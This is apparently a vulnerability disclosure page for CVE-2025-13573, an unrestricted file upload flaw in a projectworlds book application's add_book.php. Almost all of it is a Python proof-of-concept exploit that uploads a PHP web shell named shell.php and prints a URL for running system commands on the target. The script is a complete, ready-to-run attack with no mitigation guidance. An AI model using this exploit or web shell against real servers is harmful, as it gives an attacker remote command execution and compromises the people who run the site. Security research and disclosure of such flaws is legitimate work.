CVE-2025-13573 projectworlds /add_book.php无限制文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-13573 PoC - projectworlds Unrestricted File Upload Author: Security Researcher """ import requests import sys def exploit(target_url): """Exploit the unrestricted file upload vulnerability in add_book.php""" # Malicious PHP WebShell payload webshell = b'<?php system($_GET["cmd"]); ?>' # Prepare the multipart form data files = { 'image': ('shell.php', webshell, 'application/x-php') } data = { 'book_name': 'test', # Other required fields 'author': 'test', 'submit': 'Submit' } try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious file...") response = requests.post(target_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Try accessing: {target_url.replace('add_book.php', 'uploaded_files/shell.php?cmd=whoami')}") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com/add_book.php") sys.exit(1) exploit(sys.argv[1])